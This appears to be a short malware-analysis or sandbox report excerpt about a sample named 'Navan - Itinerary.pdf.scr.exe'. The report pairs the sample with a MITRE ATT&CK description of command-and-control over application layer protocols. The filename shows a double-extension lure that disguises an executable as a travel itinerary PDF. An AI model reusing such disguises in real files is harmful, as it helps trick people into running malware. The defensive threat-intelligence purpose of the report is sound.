Navan - Itinerary.pdf.scr.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre